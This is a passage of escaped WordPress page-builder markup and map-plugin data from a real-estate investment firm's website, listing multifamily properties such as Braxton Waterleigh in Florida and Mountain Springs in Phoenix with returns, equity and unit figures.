background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]Monthly[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Annualized Returns\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Annualized Returns<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]25.1%[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Target Hold\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Target Hold<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]5 Years[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Property Type\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Property Type<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]Multifamily[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Asset Class \" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Asset Class<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]Class A[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]<h3>Overview<\/h3>n<p>This community is a 354-unit community completed in 2021, representing top-quality suburban living in a rapidly growing suburb of the Orlando MSA.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Invested\" module_class=\"invested-module\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]100% <span>Invested<\/span>[\/et_pb_text][et_pb_text admin_label=\"Equity\" module_class=\"equity-module\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]$32,000,000 <span>Equity<\/span>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" module_class=\"section-location-map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][put_wpgm id=7 current_post_only=true][\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"Section Become an Investor\" module_class=\"section-become-an-investor\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#16193a\" background_image=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bottom-section-bg.png\" locked=\"off\"][et_pb_row _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_text admin_label=\"Subscribe\" _builder_version=\"4.9.0\" _module_preset=\"default\" text_orientation=\"center\" background_layout=\"dark\"]<h5>CPI Capital helps busy professionals to earn <span>passive income<\/span> through real estate investing so they could have more time <span>freedom<\/span> to live a more <span>abundant life<\/span>.<\/h5>[\/et_pb_text][et_pb_button button_url=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&__hssc=230844480.25.1633419575663&__hsfp=3601630007\" url_new_window=\"on\" button_text=\"become an investor\" button_alignment=\"center\" module_class=\"dark-bg\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_layout=\"dark\"][\/et_pb_button][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" disabled_on=\"on|on|on\" module_class=\"section-location-main\" _builder_version=\"4.9.0\" disabled=\"on\"][et_pb_row column_structure=\"2_3,1_3\" module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"2_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bakerson.png\" title_text=\"bakerson\" align=\"right\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_4,1_4,1_4,1_4\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Address\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Address<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]1725 W Vogel Ave, Phoenix, AZ&nbsp;85021[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Status\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Status<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Sold[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Date Purchased\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Date Purchased<\/h6>[\/et_pb_text][et_pb_post_title title=\"off\" author=\"off\" date_format=\"m\/j\/Y\" categories=\"off\" comments=\"off\" featured_image=\"off\" admin_label=\"Date\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Unit Count\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Unit Count<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]16 units[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>Mountain Springs was purchased from an owner who self-managed. This property was acquired with low in place rents, and problematic financials which made it hard to secure permanent financing. The property received complete unit turns and we were able to increase the rents to market. Many of the rents were $100-200 below market. The exterior of the property had a landscaping overhaul which increased the curb appeal.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Key Details\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Key Details<\/h3>n<table>n<tbody>n<tr>n<td>Ownership<\/td>n<td><span>10%<\/span> equity<\/td>n<\/tr>n<tr>n<td>Site Size<\/td>n<td><span>1.2<\/span> Acres<\/td>n<\/tr>n<tr>n<td>Year built<\/td>n<td>2001<\/td>n<\/tr>n<tr>n<td>Date Sold<\/td>n<td>12\/15\/2017<\/td>n<\/tr>n<tr>n<td>Value Add<\/td>n<td>Interior unit turns, Landscaping<\/td>n<\/tr>n<\/tbody>n<\/table>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\",\"post_title\":\"Braxton Waterleigh\",\"post_link\":\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\",\"post_featured_image\":\"<div class=\"fc-feature-img\"><img alt=\"Braxton Waterleigh\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div>\",\"post_categories\":\"Multifamily\",\"post_tags\":\"\",\"%inline_featured_image%\":\"0\",\"%_wpgmp_location_address%\":\"10091 Tuller Loop, Winter Garden, FL 34787, USA\",\"%_wpgmp_location_city%\":\"Winter Garden\",\"%_wpgmp_location_state%\":\"Florida\",\"%_wpgmp_location_country%\":\"United States\",\"%_wpgmp_metabox_latitude%\":\"28.4132117\",\"%_wpgmp_metabox_longitude%\":\"-81.6333645\",\"%_wpgmp_metabox_location_redirect%\":\"marker\",\"%_wpgmp_metabox_custom_link%\":\"\",\"%_wpgmp_map_id%\":\"a:2:{i:0;s:1:\"1\";i:1;s:1:\"7\";}\",\"%_wpgmp_metabox_marker_id%\":\"N;\",\"%_wpgmp_metabox_taxomomies_terms%\":\"N;\",\"%_wpgmp_extensions_fields%\":\"N;\",\"%_et_post_bg_color%\":\"#ffffff\",\"%_et_post_bg_layout%\":\"light\",\"%_et_pb_show_title%\":\"off\",\"%_et_pb_post_hide_nav%\":\"default\",\"%_et_pb_page_layout%\":\"et_full_width_page\",\"%_et_pb_side_nav%\":\"off\",\"%_et_pb_use_builder%\":\"on\",\"%_et_pb_first_image%\":\"\",\"%_et_pb_truncate_post%\":\"<p><div class=\"et_pb_section et_pb_section_4 section-location-gallery et_pb_with_background et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_6 post-carousel\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_12  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_image et_pb_image_5 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10730\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_6 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-02.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-02.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-02-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-02-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10731\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_7 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-03.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-03.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-03-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-03-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10732\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_8 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-04.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-04.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-04-980x653.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-04-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10733\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_9 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-05.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-05.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-05-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-05-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10734\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_10 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-06.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-06.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-06-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-06-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10735\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_11 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-07.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-07.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-07-980x651.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-07-480x319.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10736\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_12 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-08.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-08.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-08-980x699.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-08-480x342.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10737\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_13 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-09.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-09.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-09-980x663.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-09-480x325.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10738\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_14 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-10.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-10.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-10-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-10-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10739\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_15 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-11.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-11.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-11-980x680.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-11-480x333.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10740\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_16 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-12.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-12.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-12-980x636.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-12-480x311.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10741\" \/><\/span>nttt<\/div>nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><div class=\"et_pb_section et_pb_section_5 section-location-main-v2 et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_7 row-header\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_13  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_post_title et_pb_post_title_1 et_pb_bg_layout_light  et_pb_text_align_left\"   >nttttnttttnttttntttt<div class=\"et_pb_title_container\">nttttt<h1 class=\"entry-title\">Braxton Waterleigh<\/h1>ntttt<\/div>nttttnttt<\/div><div class=\"et_pb_module et_pb_text et_pb_text_18  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Horizon West, Florida<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_8 row-location-info et_pb_gutters1\">ntttt<div class=\"et_pb_column et_pb_column_1_6 et_pb_column_14  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_19  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Minimum<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_20  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">$25K<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_15  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_21  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Distributions <\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_22  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Monthly<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_16  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_23  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Annualized Returns<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_24  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">25.1%<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_17  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_25  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Target Hold<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_26  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">5 Years<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_18  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_27  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Property Type<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_28  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Multifamily<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_19  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_29  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Asset Class<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_30  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Class A<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_9 row-overview et_pb_gutters3\">ntttt<div class=\"et_pb_column et_pb_column_1_2 et_pb_column_20  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_31  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Overview<br \/>nThis community is a 354-unit community completed in 2021, representing top-quality suburban living in a rapidly growing suburb of the Orlando MSA.<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_2 et_pb_column_21  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_32 invested-module  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">100% Invested<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_33 equity-module  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">$32,000,000 Equity<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><div class=\"et_pb_section et_pb_section_6 section-location-map et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_10\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_22  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_34  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\"><div class=\"wpgmp_map_container wpgmp-map-7\" rel=\"map7\"><div class=\"wpgmp_map_parent\"><div class=\"wpgmp_map \" style=\"width:100%; height:450px;\" id=\"map7\" ><\/div><\/div><\/div><style> .wpgmp-map-7  .wpgmp_infowindow .fc-item-title{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:700;font-size:16px;color:rgba(0, 0, 0, 0.87);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:none solid rgba(0, 